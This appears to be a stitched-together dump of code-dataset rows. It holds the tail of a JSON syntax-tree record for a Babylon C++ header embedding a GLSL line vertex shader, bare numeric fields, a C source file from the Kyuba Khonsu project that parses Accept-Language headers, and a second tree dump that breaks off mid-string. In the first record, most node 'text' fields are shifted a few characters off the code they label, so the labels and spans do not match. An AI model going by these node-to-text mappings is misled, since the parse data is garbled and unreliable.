{"id": 64, "type": "identifier", "text": "rldViewProjection *", "parent": 63, "children": [], "start_point": {"row": 21, "column": 24}, "end_point": {"row": 21, "column": 43}}, {"id": 65, "type": "*", "text": "v", "parent": 63, "children": [], "start_point": {"row": 21, "column": 44}, "end_point": {"row": 21, "column": 45}}, {"id": 66, "type": "call_expression", "text": "c4(position, 1.0);\n", "parent": 63, "children": [67, 68], "start_point": {"row": 21, "column": 46}, "end_point": {"row": 21, "column": 65}}, {"id": 67, "type": "identifier", "text": "c4(p", "parent": 66, "children": [], "start_point": {"row": 21, "column": 46}, "end_point": {"row": 21, "column": 50}}, {"id": 68, "type": "argument_list", "text": "osition, 1.0);\n", "parent": 66, "children": [69, 70], "start_point": {"row": 21, "column": 50}, "end_point": {"row": 21, "column": 65}}, {"id": 69, "type": "identifier", "text": "sition, ", "parent": 68, "children": [], "start_point": {"row": 21, "column": 51}, "end_point": {"row": 21, "column": 59}}, {"id": 70, "type": "number_literal", "text": "0);", "parent": 68, "children": [], "start_point": {"row": 21, "column": 61}, "end_point": {"row": 21, "column": 64}}, {"id": 71, "type": "declaration", "text": "c4 viewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n\n", "parent": 51, "children": [72, 73], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 72}}, {"id": 72, "type": "type_identifier", "text": "c4 v", "parent": 71, "children": [], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 8}}, {"id": 73, "type": "init_declarator", "text": "ewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n", "parent": 71, "children": [74, 75, 76], "start_point": {"row": 22, "column": 9}, "end_point": {"row": 22, "column": 71}}, {"id": 74, "type": "identifier", "text": "ewPositionNext =", "parent": 73, "children": [], "start_point": {"row": 22, "column": 9}, "end_point": {"row": 22, "column": 25}}, {"id": 75, "type": "=", "text": "w", "parent": 73, "children": [], "start_point": {"row": 22, "column": 26}, "end_point": {"row": 22, "column": 27}}, {"id": 76, "type": "binary_expression", "text": "rldViewProjection * vec4(normal.xyz, 1.0);\n", "parent": 73, "children": [77, 78, 79], "start_point": {"row": 22, "column": 28}, "end_point": {"row": 22, "column": 71}}, {"id": 77, "type": "identifier", "text": "rldViewProjection *", "parent": 76, "children": [], "start_point": {"row": 22, "column": 28}, "end_point": {"row": 22, "column": 47}}, {"id": 78, "type": "*", "text": "v", "parent": 76, "children": [], "start_point": {"row": 22, "column": 48}, "end_point": {"row": 22, "column": 49}}, {"id": 79, "type": "call_expression", "text": "c4(normal.xyz, 1.0);\n", "parent": 76, "children": [80, 81], "start_point": {"row": 22, "column": 50}, "end_point": {"row": 22, "column": 71}}, {"id": 80, "type": "identifier", "text": "c4(n", "parent": 79, "children": [], "start_point": {"row": 22, "column": 50}, "end_point": {"row": 22, "column": 54}}, {"id": 81, "type": "argument_list", "text": "ormal.xyz, 1.0);\n", "parent": 79, "children": [82, 85], "start_point": {"row": 22, "column": 54}, "end_point": {"row": 22, "column": 71}}, {"id": 82, "type": "field_expression", "text": "rmal.xyz, ", "parent": 81, "children": [83, 84], "start_point": {"row": 22, "column": 55}, "end_point": {"row": 22, "column": 65}}, {"id": 83, "type": "identifier", "text": "rmal.x", "parent": 82, "children": [], "start_point": {"row": 22, "column": 55}, "end_point": {"row": 22, "column": 61}}, {"id": 84, "type": "field_identifier", "text": "z, ", "parent": 82, "children": [], "start_point": {"row": 22, "column": 62}, "end_point": {"row": 22, "column": 65}}, {"id": 85, "type": "number_literal", "text": "0);", "parent": 81, "children": [], "start_point": {"row": 22, "column": 67}, "end_point": {"row": 22, "column": 70}}, {"id": 86, "type": "declaration", "text": "c2 currentScreen = viewPosition.xy / viewPosition.w;\n ", "parent": 51, "children": [87, 88], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 58}}, {"id": 87, "type": "type_identifier", "text": "c2 c", "parent": 86, "children": [], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 8}}, {"id": 88, "type": "init_declarator", "text": "rrentScreen = viewPosition.xy / viewPosition.w;\n", "parent": 86, "children": [89, 90, 91], "start_point": {"row": 24, "column": 9}, "end_point": {"row": 24, "column": 57}}, {"id": 89, "type": "identifier", "text": "rrentScreen =", "parent": 88, "children": [], "start_point": {"row": 24, "column": 9}, "end_point": {"row": 24, "column": 22}}, {"id": 90, "type": "=", "text": "v", "parent": 88, "children": [], "start_point": {"row": 24, "column": 23}, "end_point": {"row": 24, "column": 24}}, {"id": 91, "type": "binary_expression", "text": "ewPosition.xy / viewPosition.w;\n", "parent": 88, "children": [92, 95, 96], "start_point": {"row": 24, "column": 25}, "end_point": {"row": 24, "column": 57}}, {"id": 92, "type": "field_expression", "text": "ewPosition.xy /", "parent": 91, "children": [93, 94], "start_point": {"row": 24, "column": 25}, "end_point": {"row": 24, "column": 40}}, {"id": 93, "type": "identifier", "text": "ewPosition.x", "parent": 92, "children": [], "start_point": {"row": 24, "column": 25}, "end_point": {"row": 24, "column": 37}}, {"id": 94, "type": "field_identifier", "text": " /", "parent": 92, "children": [], "start_point": {"row": 24, "column": 38}, "end_point": {"row": 24, "column": 40}}, {"id": 95, "type": "/", "text": "v", "parent": 91, "children": [], "start_point": {"row": 24, "column": 41}, "end_point": {"row": 24, "column": 42}}, {"id": 96, "type": "field_expression", "text": "ewPosition.w;\n", "parent": 91, "children": [97, 98], "start_point": {"row": 24, "column": 43}, "end_point": {"row": 24, "column": 57}}, {"id": 97, "type": "identifier", "text": "ewPosition.w", "parent": 96, "children": [], "start_point": {"row": 24, "column": 43}, "end_point": {"row": 24, "column": 55}}, {"id": 98, "type": "field_identifier", "text": "\n", "parent": 96, "children": [], "start_point": {"row": 24, "column": 56}, "end_point": {"row": 24, "column": 57}}, {"id": 99, "type": "declaration", "text": "c2 nextScreen = viewPositionNext.xy / viewPositionNext.w;\n\n", "parent": 51, "children": [100, 101], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 63}}, {"id": 100, "type": "type_identifier", "text": "c2 n", "parent": 99, "children": [], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 8}}, {"id": 101, "type": "init_declarator", "text": "xtScreen = viewPositionNext.xy / viewPositionNext.w;\n", "parent": 99, "children": [102, 103, 104], "start_point": {"row": 25, "column": 9}, "end_point": {"row": 25, "column": 62}}, {"id": 102, "type": "identifier", "text": "xtScreen =", "parent": 101, "children": [], "start_point": {"row": 25, "column": 9}, "end_point": {"row": 25, "column": 19}}, {"id": 103, "type": "=", "text": "v", "parent": 101, "children": [], "start_point": {"row": 25, "column": 20}, "end_point": {"row": 25, "column": 21}}, {"id": 104, "type": "binary_expression", "text": "ewPositionNext.xy / viewPositionNext.w;\n", "parent": 101, "children": [105, 108, 109], "start_point": {"row": 25, "column": 22}, "end_point": {"row": 25, "column": 62}}, {"id": 105, "type": "field_expression", "text": "ewPositionNext.xy /", "parent": 104, "children": [106, 107], "start_point": {"row": 25, "column": 22}, "end_point": {"row": 25, "column": 41}}, {"id": 106, "type": "identifier", "text": "ewPositionNext.x", "parent": 105, "children": [], "start_point": {"row": 25, "column": 22}, "end_point": {"row": 25, "column": 38}}, {"id": 107, "type": "field_identifier", "text": " /", "parent": 105, "children": [], "start_point": {"row": 25, "column": 39}, "end_point": {"row": 25, "column": 41}}, {"id": 108, "type": "/", "text": "v", "parent": 104, "children": [], "start_point": {"row": 25, "column": 42}, "end_point": {"row": 25, "column": 43}}, {"id": 109, "type": "field_expression", "text": "ewPositionNext.w;\n", "parent": 104, "children": [110, 111], "start_point": {"row": 25, "column": 44}, "end_point": {"row": 25, "column": 62}}, {"id": 110, "type": "identifier", "text": "ewPositionNext.w", "parent": 109, "children": [], "start_point": {"row": 25, "column": 44}, "end_point": {"row": 25, "column": 60}}, {"id": 111, "type": "field_identifier", "text": "\n", "parent": 109, "children": [], "start_point": {"row": 25, "column": 61}, "end_point": {"row": 25, "column": 62}}, {"id": 112, "type": "assignment_expression", "text": "rrentScreen.x *= aspectRatio;\n", "parent": 51, "children": [113, 116, 117], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 34}}, {"id": 113, "type": "field_expression", "text": "rrentScreen.x *", "parent": 112, "children": [114, 115], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 19}}, {"id": 114, "type": "identifier", "text": "rrentScreen.x", "parent": 113, "children": [], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 17}}, {"id": 115, "type": "field_identifier", "text": "*", "parent": 113, "children": [], "start_point": {"row": 27, "column": 18}, "end_point": {"row": 27, "column": 19}}, {"id": 116, "type": "*=", "text": " a", "parent": 112, "children": [], "start_point": {"row": 27, "column": 20}, "end_point": {"row": 27, "column": 22}}, {"id": 117, "type": "identifier", "text": "pectRatio;\n", "parent": 112, "children": [], "start_point": {"row": 27, "column": 23}, "end_point": {"row": 27, "column": 34}}, {"id": 118, "type": "assignment_expression", "text": "xtScreen.x *= aspectRatio;\n", "parent": 51, "children": [119, 122, 123], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 31}}, {"id": 119, "type": "field_expression", "text": "xtScreen.x *", "parent": 118, "children": [120, 121], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 16}}, {"id": 120, "type": "identifier", "text": "xtScreen.x", "parent": 119, "children": [], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 14}}, {"id": 121, "type": "field_identifier", "text": "*", "parent": 119, "children": [], "start_point": {"row": 28, "column": 15}, "end_point": {"row": 28, "column": 16}}, {"id": 122, "type": "*=", "text": " a", "parent": 118, "children": [], "start_point": {"row": 28, "column": 17}, "end_point": {"row": 28, "column": 19}}, {"id": 123, "type": "identifier", "text": "pectRatio;\n", "parent": 118, "children": [], "start_point": {"row": 28, "column": 20}, "end_point": {"row": 28, "column": 31}}, {"id": 124, "type": "declaration", "text": "c2 dir = normalize(nextScreen - currentScreen);\n ", "parent": 51, "children": [125, 126], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 53}}, {"id": 125, "type": "type_identifier", "text": "c2 d", "parent": 124, "children": [], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 8}}, {"id": 126, "type": "init_declarator", "text": "r = normalize(nextScreen - currentScreen);\n", "parent": 124, "children": [127, 128, 129], "start_point": {"row": 30, "column": 9}, "end_point": {"row": 30, "column": 52}}, {"id": 127, "type": "identifier", "text": "r =", "parent": 126, "children": [], "start_point": {"row": 30, "column": 9}, "end_point": {"row": 30, "column": 12}}, {"id": 128, "type": "=", "text": "n", "parent": 126, "children": [], "start_point": {"row": 30, "column": 13}, "end_point": {"row": 30, "column": 14}}, {"id": 129, "type": "call_expression", "text": "rmalize(nextScreen - currentScreen);\n", "parent": 126, "children": [130, 131], "start_point": {"row": 30, "column": 15}, "end_point": {"row": 30, "column": 52}}, {"id": 130, "type": "identifier", "text": "rmalize(n", "parent": 129, "children": [], "start_point": {"row": 30, "column": 15}, "end_point": {"row": 30, "column": 24}}, {"id": 131, "type": "argument_list", "text": "extScreen - currentScreen);\n", "parent": 129, "children": [132], "start_point": {"row": 30, "column": 24}, "end_point": {"row": 30, "column": 52}}, {"id": 132, "type": "binary_expression", "text": "xtScreen - currentScreen);", "parent": 131, "children": [133, 134, 135], "start_point": {"row": 30, "column": 25}, "end_point": {"row": 30, "column": 51}}, {"id": 133, "type": "identifier", "text": "xtScreen -", "parent": 132, "children": [], "start_point": {"row": 30, "column": 25}, "end_point": {"row": 30, "column": 35}}, {"id": 134, "type": "-", "text": "c", "parent": 132, "children": [], "start_point": {"row": 30, "column": 36}, "end_point": {"row": 30, "column": 37}}, {"id": 135, "type": "identifier", "text": "rrentScreen);", "parent": 132, "children": [], "start_point": {"row": 30, "column": 38}, "end_point": {"row": 30, "column": 51}}, {"id": 136, "type": "declaration", "text": "c2 normalDir = vec2(-dir.y, dir.x);\n\n", "parent": 51, "children": [137, 138], "start_point": {"row": 31, "column": 4}, "end_point": {"row": 31, "column": 41}}, {"id": 137, "type": "type_identifier", "text": "c2 n", "parent": 136, "children": [], "start_point": {"row": 31, "column": 4}, "end_point": {"row": 31, "column": 8}}, {"id": 138, "type": "init_declarator", "text": "rmalDir = vec2(-dir.y, dir.x);\n", "parent": 136, "children": [139, 140, 141], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 40}}, {"id": 139, "type": "identifier", "text": "rmalDir =", "parent": 138, "children": [], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 18}}, {"id": 140, "type": "=", "text": "v", "parent": 138, "children": [], "start_point": {"row": 31, "column": 19}, "end_point": {"row": 31, "column": 20}}, {"id": 141, "type": "call_expression", "text": "c2(-dir.y, dir.x);\n", "parent": 138, "children": [142, 143], "start_point": {"row": 31, "column": 21}, "end_point": {"row": 31, "column": 40}}, {"id": 142, "type": "identifier", "text": "c2(-", "parent": 141, "children": [], "start_point": {"row": 31, "column": 21}, "end_point": {"row": 31, "column": 25}}, {"id": 143, "type": "argument_list", "text": "dir.y, dir.x);\n", "parent": 141, "children": [144, 149], "start_point": {"row": 31, "column": 25}, "end_point": {"row": 31, "column": 40}}, {"id": 144, "type": "unary_expression", "text": "ir.y, ", "parent": 143, "children": [145, 146], "start_point": {"row": 31, "column": 26}, "end_point": {"row": 31, "column": 32}}, {"id": 145, "type": "-", "text": "i", "parent": 144, "children": [], "start_point": {"row": 31, "column": 26}, "end_point": {"row": 31, "column": 27}}, {"id": 146, "type": "field_expression", "text": "r.y, ", "parent": 144, "children": [147, 148], "start_point": {"row": 31, "column": 27}, "end_point": {"row": 31, "column": 32}}, {"id": 147, "type": "identifier", "text": "r.y", "parent": 146, "children": [], "start_point": {"row": 31, "column": 27}, "end_point": {"row": 31, "column": 30}}, {"id": 148, "type": "field_identifier", "text": " ", "parent": 146, "children": [], "start_point": {"row": 31, "column": 31}, "end_point": {"row": 31, "column": 32}}, {"id": 149, "type": "field_expression", "text": "r.x);", "parent": 143, "children": [150], "start_point": {"row": 31, "column": 34}, "end_point": {"row": 31, "column": 39}}, {"id": 150, "type": "identifier", "text": "r.x", "parent": 149, "children": [], "start_point": {"row": 31, "column": 34}, "end_point": {"row": 31, "column": 37}}, {"id": 151, "type": "assignment_expression", "text": "rmalDir *= width / 2.0;\n", "parent": 51, "children": [152, 153, 154], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 28}}, {"id": 152, "type": "identifier", "text": "rmalDir *", "parent": 151, "children": [], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 13}}, {"id": 153, "type": "*=", "text": " w", "parent": 151, "children": [], "start_point": {"row": 33, "column": 14}, "end_point": {"row": 33, "column": 16}}, {"id": 154, "type": "binary_expression", "text": "dth / 2.0;\n", "parent": 151, "children": [155, 156, 157], "start_point": {"row": 33, "column": 17}, "end_point": {"row": 33, "column": 28}}, {"id": 155, "type": "identifier", "text": "dth /", "parent": 154, "children": [], "start_point": {"row": 33, "column": 17}, "end_point": {"row": 33, "column": 22}}, {"id": 156, "type": "/", "text": "2", "parent": 154, "children": [], "start_point": {"row": 33, "column": 23}, "end_point": {"row": 33, "column": 24}}, {"id": 157, "type": "number_literal", "text": "0;\n", "parent": 154, "children": [], "start_point": {"row": 33, "column": 25}, "end_point": {"row": 33, "column": 28}}, {"id": 158, "type": "assignment_expression", "text": "rmalDir.x /= aspectRatio;\n", "parent": 51, "children": [159, 162, 163], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 30}}, {"id": 159, "type": "field_expression", "text": "rmalDir.x /", "parent": 158, "children": [160, 161], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 15}}, {"id": 160, "type": "identifier", "text": "rmalDir.x", "parent": 159, "children": [], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 13}}, {"id": 161, "type": "field_identifier", "text": "/", "parent": 159, "children": [], "start_point": {"row": 34, "column": 14}, "end_point": {"row": 34, "column": 15}}, {"id": 162, "type": "/=", "text": " a", "parent": 158, "children": [], "start_point": {"row": 34, "column": 16}, "end_point": {"row": 34, "column": 18}}, {"id": 163, "type": "identifier", "text": "pectRatio;\n", "parent": 158, "children": [], "start_point": {"row": 34, "column": 19}, "end_point": {"row": 34, "column": 30}}, {"id": 164, "type": "declaration", "text": "c4 offset = vec4(normalDir * normal.w, 0.0, 0.0);\n ", "parent": 51, "children": [165, 166], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 55}}, {"id": 165, "type": "type_identifier", "text": "c4 o", "parent": 164, "children": [], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 8}}, {"id": 166, "type": "init_declarator", "text": "fset = vec4(normalDir * normal.w, 0.0, 0.0);\n", "parent": 164, "children": [167, 168, 169], "start_point": {"row": 36, "column": 9}, "end_point": {"row": 36, "column": 54}}, {"id": 167, "type": "identifier", "text": "fset =", "parent": 166, "children": [], "start_point": {"row": 36, "column": 9}, "end_point": {"row": 36, "column": 15}}, {"id": 168, "type": "=", "text": "v", "parent": 166, "children": [], "start_point": {"row": 36, "column": 16}, "end_point": {"row": 36, "column": 17}}, {"id": 169, "type": "call_expression", "text": "c4(normalDir * normal.w, 0.0, 0.0);\n", "parent": 166, "children": [170, 171], "start_point": {"row": 36, "column": 18}, "end_point": {"row": 36, "column": 54}}, {"id": 170, "type": "identifier", "text": "c4(n", "parent": 169, "children": [], "start_point": {"row": 36, "column": 18}, "end_point": {"row": 36, "column": 22}}, {"id": 171, "type": "argument_list", "text": "ormalDir * normal.w, 0.0, 0.0);\n", "parent": 169, "children": [172, 178, 179], "start_point": {"row": 36, "column": 22}, "end_point": {"row": 36, "column": 54}}, {"id": 172, "type": "binary_expression", "text": "rmalDir * normal.w, ", "parent": 171, "children": [173, 174, 175], "start_point": {"row": 36, "column": 23}, "end_point": {"row": 36, "column": 43}}, {"id": 173, "type": "identifier", "text": "rmalDir *", "parent": 172, "children": [], "start_point": {"row": 36, "column": 23}, "end_point": {"row": 36, "column": 32}}, {"id": 174, "type": "*", "text": "n", "parent": 172, "children": [], "start_point": {"row": 36, "column": 33}, "end_point": {"row": 36, "column": 34}}, {"id": 175, "type": "field_expression", "text": "rmal.w, ", "parent": 172, "children": [176, 177], "start_point": {"row": 36, "column": 35}, "end_point": {"row": 36, "column": 43}}, {"id": 176, "type": "identifier", "text": "rmal.w", "parent": 175, "children": [], "start_point": {"row": 36, "column": 35}, "end_point": {"row": 36, "column": 41}}, {"id": 177, "type": "field_identifier", "text": " ", "parent": 175, "children": [], "start_point": {"row": 36, "column": 42}, "end_point": {"row": 36, "column": 43}}, {"id": 178, "type": "number_literal", "text": "0, ", "parent": 171, "children": [], "start_point": {"row": 36, "column": 45}, "end_point": {"row": 36, "column": 48}}, {"id": 179, "type": "number_literal", "text": "0);", "parent": 171, "children": [], "start_point": {"row": 36, "column": 50}, "end_point": {"row": 36, "column": 53}}, {"id": 180, "type": "assignment_expression", "text": "_Position = viewPosition + offset;\n", "parent": 51, "children": [181, 182, 183], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 39}}, {"id": 181, "type": "identifier", "text": "_Position =", "parent": 180, "children": [], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 15}}, {"id": 182, "type": "=", "text": "v", "parent": 180, "children": [], "start_point": {"row": 37, "column": 16}, "end_point": {"row": 37, "column": 17}}, {"id": 183, "type": "binary_expression", "text": "ewPosition + offset;\n", "parent": 180, "children": [184, 185, 186], "start_point": {"row": 37, "column": 18}, "end_point": {"row": 37, "column": 39}}, {"id": 184, "type": "identifier", "text": "ewPosition +", "parent": 183, "children": [], "start_point": {"row": 37, "column": 18}, "end_point": {"row": 37, "column": 30}}, {"id": 185, "type": "+", "text": "o", "parent": 183, "children": [], "start_point": {"row": 37, "column": 31}, "end_point": {"row": 37, "column": 32}}, {"id": 186, "type": "identifier", "text": "fset;\n", "parent": 183, "children": [], "start_point": {"row": 37, "column": 33}, "end_point": {"row": 37, "column": 39}}, {"id": 187, "type": "ERROR", "text": "haderCode\";\n\n", "parent": 6, "children": [188], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 13}}, {"id": 188, "type": "identifier", "text": "aderCode\";", "parent": 187, "children": [], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 11}}, {"id": 189, "type": "#endif", "text": "ndif /", "parent": 0, "children": [], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 6}}]}, "node_categories": {"declarations": {"functions": [6, 51, 53], "variables": [9, 17, 31, 36, 41, 46, 56, 58, 71, 86, 99, 124, 136, 164], "classes": [10], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [63, 66, 76, 79, 82, 91, 92, 96, 104, 105, 109, 113, 119, 129, 132, 141, 144, 146, 149, 154, 159, 169, 172, 175, 183], "assignments": [112, 118, 151, 158, 180], "loops": [], "conditionals": [0, 1, 2, 5, 7, 8, 12, 16, 18, 23, 26, 28, 29, 30, 32, 34, 35, 37, 39, 40, 42, 44, 45, 47, 49, 50, 54, 59, 61, 64, 67, 69, 72, 74, 77, 80, 83, 84, 87, 89, 93, 94, 97, 98, 100, 102, 106, 107, 110, 111, 114, 115, 117, 120, 121, 123, 125, 127, 130, 133, 135, 137, 139, 142, 147, 148, 150, 152, 155, 160, 161, 163, 165, 167, 170, 173, 176, 177, 181, 184, 186, 188, 189], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [25, 27, 70, 85, 157, 178, 179], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 6, "universal_type": "function", "name": "main", "text_snippet": "mespace BABYLON {\n\nextern const char* lineVertexShader;\n\nconst char* lineVertexShader\n = R\"ShaderCo"}, {"node_id": 51, "universal_type": "function", "name": "unknown", "text_snippet": "id main(void) {\n vec4 viewPosition = worldViewProjection * vec4(position, 1.0);\n vec4 viewPosi"}, {"node_id": 53, "universal_type": "function", "name": "unknown", "text_snippet": "in(void) {"}], "class_declarations": [{"node_id": 10, "universal_type": "class", "name": "unknown", "text_snippet": "tern c"}], "import_statements": []}, "original_source_code": "\ufeff#ifndef BABYLON_SHADERS_LINE_VERTEX_FX_H\n#define BABYLON_SHADERS_LINE_VERTEX_FX_H\n\nnamespace BABYLON {\n\nextern const char* lineVertexShader;\n\nconst char* lineVertexShader\n = R\"ShaderCode(\n\n// Attributes\nattribute vec3 position;\nattribute vec4 normal;\n\n// Uniforms\nuniform mat4 worldViewProjection;\n\nuniform float width;\nuniform float aspectRatio;\n\nvoid main(void) {\n vec4 viewPosition = worldViewProjection * vec4(position, 1.0);\n vec4 viewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n\n vec2 currentScreen = viewPosition.xy / viewPosition.w;\n vec2 nextScreen = viewPositionNext.xy / viewPositionNext.w;\n\n currentScreen.x *= aspectRatio;\n nextScreen.x *= aspectRatio;\n\n vec2 dir = normalize(nextScreen - currentScreen);\n vec2 normalDir = vec2(-dir.y, dir.x);\n\n normalDir *= width / 2.0;\n normalDir.x /= aspectRatio;\n\n vec4 offset = vec4(normalDir * normal.w, 0.0, 0.0);\n gl_Position = viewPosition + offset;\n}\n\n)ShaderCode\";\n\n} // end of namespace BABYLON\n\n#endif // end of BABYLON_SHADERS_LINE_VERTEX_FX_H\n"}
81,108
c
/* * This file is part of the kyuba.org Khonsu project. * See the appropriate repository at http://git.kyuba.org/ for exact file * modification records. */ /* * Copyright (c) 2009, Kyuba Project Members * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include <khonsu/khonsu.h> #include <seteh/lambda.h> #include <curie/multiplex.h> #include <curie/memory.h> #include <curie/filesystem.h> #include <curie/gc.h> define_symbol (sym_accept_language, "accept-language"); define_symbol (sym_Vary, "Vary"); define_symbol (sym_default_language, "default-language"); define_string (str_Accept_Language, "Accept-Language"); static sexpr default_language = sx_nonexistent; static void configure_callback (sexpr sx) { sexpr a = car (sx); if (truep (equalp (a, sym_default_language))) { default_language = car (cdr (sx)); } } static sexpr get_acceptable_languages (sexpr lq) { sexpr lcodes = sx_end_of_list; char have_default = 0; if (!nexp (lq)) { const char *lqs = sx_string (lq); char lqsm [KHO_MAX_HEADER_FIELD_LENGTH], semicolon = 0; sexpr n; int i = 0, il = 0; while (lqs[i] != (char)0) { lqsm[i] = lqs[i]; if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break; i++; } lqsm[i] = (char)0; for (i = 0; lqsm[i] != (char)0; i++) { if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';'))) { lqsm[i] = (char)0; n = make_string (lqsm + il); if (!have_default && truep (equalp (n, default_language))) { have_default = 1; } lcodes = cons (n, lcodes); if (semicolon) { i++; while ((lqsm[i] != 0) && (lqsm[i] != ',')) { if (lqsm[i] == 0) break; i++; } if (lqsm[i] == 0) { il = i; break; } } i++; while ((lqsm[i] == ' ') || (lqsm[i] == '\t')) { i++; } if (lqsm[i] == 0) break; il = i; } } if (il < i) { lcodes = cons (make_string (lqsm + il), lcodes); } } if (!have_default) { lcodes = cons (default_language, lcodes); } return lcodes; } static sexpr request (sexpr arguments, struct machine_state *st) { sexpr a = arguments, r = sx_end_of_list, a2, a3; while (consp (a)) { a2 = car (a); a3 = car (a2); if (truep (equalp (a3, sym_get))) { sexpr t1 = cdr (a2), e = car (t1); if (environmentp (e)) { e = lx_environment_bind (e, sym_language, get_acceptable_languages (lx_environment_lookup (e, sym_accept_language))); } else { e = lx_make_environment (cons (cons (sym_language, get_acceptable_languages (sx_nonexistent)), sx_end_of_list)); } e = lx_environment_bind (e, sym_Vary, str_Accept_Language); r = cons (cons (sym_get, cons (e, cdr (t1))), r); } else { r = cons (a2, r); } a = cdr (a); } relay_sub (sx_reverse (r)); return sx_nonexistent; } int cmain () { kho_configure_callback = configure_callback; initialise_khonsu (); kho_environment = lx_environment_bind (kho_environment, sym_request, lx_foreign_lambda (sym_request, request)); while (multiplex () != mx_nothing_to_do) { // gc_invoke(); } return 0; }
31.37
156
(translation_unit) "/*\n * This file is part of the kyuba.org Khonsu project.\n * See the appropriate repository at http://git.kyuba.org/ for exact file\n * modification records.\n*/\n\n/*\n * Copyright (c) 2009, Kyuba Project Members\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the "Software"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n*/\n\n#include <khonsu/khonsu.h>\n#include <seteh/lambda.h>\n#include <curie/multiplex.h>\n#include <curie/memory.h>\n#include <curie/filesystem.h>\n#include <curie/gc.h>\n\ndefine_symbol (sym_accept_language, "accept-language");\ndefine_symbol (sym_Vary, "Vary");\ndefine_symbol (sym_default_language, "default-language");\ndefine_string (str_Accept_Language, "Accept-Language");\n\nstatic sexpr default_language = sx_nonexistent;\n\nstatic void configure_callback (sexpr sx)\n{\n sexpr a = car (sx);\n\n if (truep (equalp (a, sym_default_language)))\n {\n default_language = car (cdr (sx));\n }\n}\n\nstatic sexpr get_acceptable_languages (sexpr lq)\n{\n sexpr lcodes = sx_end_of_list;\n char have_default = 0;\n\n if (!nexp (lq))\n {\n const char *lqs = sx_string (lq);\n char lqsm [KHO_MAX_HEADER_FIELD_LENGTH], semicolon = 0;\n sexpr n;\n int i = 0, il = 0;\n\n while (lqs[i] != (char)0)\n {\n lqsm[i] = lqs[i];\n if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break;\n i++;\n }\n\n lqsm[i] = (char)0;\n\n for (i = 0; lqsm[i] != (char)0; i++)\n {\n if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))\n {\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) 